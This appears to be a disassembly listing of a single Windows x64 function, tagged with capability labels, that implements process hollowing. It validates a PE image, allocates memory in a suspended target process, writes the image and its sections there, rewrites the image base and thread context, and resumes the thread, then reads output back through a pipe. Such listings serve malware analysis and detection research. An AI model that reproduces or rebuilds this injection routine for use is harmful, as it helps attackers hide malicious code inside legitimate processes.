Function at 0x140001390
Capabilities:
Inspect section memory permissions
Read file on windows
Read pipe
Resume thread

Disassembly:
mov r11, rsp
push rbp
push r15
lea rbp, [r11 - 0x478]
sub rsp, 0x568
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov r15, rcx
test rcx, rcx
je 0x140001a32
xorps xmm0, xmm0
mov qword [r11 + 0x18], rsi
xor esi, esi
mov qword [r11 + 0x20], rdi
mov qword [r11 - 0x28], r14
lea rcx, [rbp + 0x110]
xor eax, eax
mov qword [r11 + 0x10], rbx
xor edx, edx
mov qword [r11 - 0x20], r13
mov r8d, 0x100
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], 0x10001f
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rsi
mov dword [rbp + 0x70], esi
mov qword [rbp + 0x74], rax
mov qword [rbp + 0x7c], rsi
mov qword [rbp + 0x84], rsi
mov dword [rbp + 0x8c], esi
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea rcx, [rbp + 0x270]
xor edx, edx
mov r8d, 0x1a0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x410], rsi
mov edi, esi
mov qword [rbp + 0x418], rsi
mov qword [rbp + 0x420], rsi
mov qword [rbp + 0x428], rsi
mov qword [rbp + 0x430], rsi
mov qword [rbp + 0x438], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x38], esi
lea rax, [rsp + 0x58]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x40]
call fcn.1400010d0
mov r14, qword [rsp + 0x58]
test eax, eax
je 0x1400019af
cmp qword [rsp + 0x40], rsi
je 0x1400019af
cmp qword [rsp + 0x48], rsi
je 0x1400019af
movsxd rsi, dword [r15 + 0x3c]
add rsi, r15
cmp dword [rsi], 0x4550
je 0x1400015ae
lea rcx, str.____Invalid_NT_Image_Headers_n
call fcn.140001010
xor esi, esi
jmp 0x1400019af
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x560], r12
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x1400015f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003430]
jmp 0x140001996
cmp r12, qword [rsi + 0x30]
jne 0x1400019a5
mov r9d, dword [rsi + 0x54]
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
mov r8, r15
mov rdx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001989
mov eax, dword [rsi + 0x54]
cmp rax, qword [rsp + 0x60]
jne 0x140001989
movzx r13d, word [rsi + 0x14]
xor eax, eax
add r13, rsi
cmp ax, word [rsi + 6]
jae 0x140001690
lea rbx, [r13 + 0x28]
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx + 4]
lea rax, [rsp + 0x60]
mov edx, dword [rbx - 4]
add r8, r15
mov r9d, dword [rbx]
add rdx, r12
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400016c9
mov eax, dword [rbx]
cmp rax, qword [rsp + 0x60]
jne 0x1400016c9
movzx eax, word [rsi + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jl 0x140001650
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400016ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003440]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, dword [rsp + 0x38]
jmp 0x1400019a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x1400033e8]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, dword [rsp + 0x38]
jmp 0x1400019a5
mov rdi, qword [rsp + 0x40]
lea rcx, str._i__Overwriting_Image_Base_Address_...
mov rbx, qword [rbp - 8]
xor r15d, r15d
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r12
call fcn.140001010
lea rax, [rsp + 0x58]
mov rcx, rdi
lea r9d, [r15 + 8]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x68]
lea rdx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001968
cmp qword [rsp + 0x58], 8
jne 0x140001968
lea rcx, str.___DONE__n
call fcn.140001010
lea r10d, [r15 + 0x40]
mov rdi, qword [rsp + 0x40]
mov ebx, r15d
cmp r15w, word [rsi + 6]
jae 0x14000183c
lea r11d, [r15 + 2]
nop dword [rax + rax]
mov eax, ebx
mov dword [rsp + 0x58], r15d
lea rcx, [rax + rax*4]
mov r8d, dword [r13 + rcx*8 + 0x28]
test r8d, r8d
je 0x14000182e
mov edx, dword [r13 + rcx*8 + 0x24]
test edx, edx
je 0x14000182e
mov ecx, dword [r13 + rcx*8 + 0x3c]
mov eax, ecx
mov r9d, ecx
sar r9d, 0x1f
and r9d, 8
bt ecx, 0x1e
cmovb r9d, r11d
and eax, 0xc0000000
cmp eax, 0xc0000000
mov eax, 4
cmove r9d, eax
bt ecx, 0x1d
mov eax, 0x10
cmovb r9d, eax
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
mov eax, 0x80
cmove r9d, eax
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
mov eax, 0x20
cmove r9d, eax
and ecx, 0xe0000000
cmp ecx, 0xe0000000
lea rax, [rsp + 0x58]
mov rcx, rdi
mov qword [rsp + 0x20], rax
cmove r9d, r10d
add rdx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14000187e
mov r10d, 0x40
lea r11d, [r10 - 0x3e]
movzx eax, word [rsi + 6]
inc ebx
cmp ebx, eax
jb 0x140001770
mov eax, dword [rsi + 0x28]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
add rax, r12
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400018a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003458]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, r15d
jmp 0x1400019a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003360]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, r15d
jmp 0x1400019a5
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1400018d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003470]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, r15d
jmp 0x1400019a5
mov rcx, qword [rsp + 0x40]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor esi, esi
nop dword [rax + rax]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x38], esi
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov edx, dword [rsp + 0x38]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140001961
mov r8d, dword [rsp + 0x38]
xor r9d, r9d
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
test eax, eax
je 0x14000195b
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400018f0
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, 1
jmp 0x1400019a7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x1400033e8]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
mov edi, r15d
jmp 0x1400019a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400033e8]
mov r8d, eax
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
xor esi, esi
mov r12, qword [rsp + 0x560]
mov rcx, qword [rsp + 0x30]
mov r13, qword [rsp + 0x558]
mov rbx, qword [rsp + 0x588]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400019d4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [r14 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400019e7
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x550]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001a09
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], rsi
mov rcx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x590]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140001a26
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rdi, qword [rsp + 0x598]
jmp 0x140001a34
xor eax, eax
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.140001bf0
add rsp, 0x568
pop r15
pop rbp
ret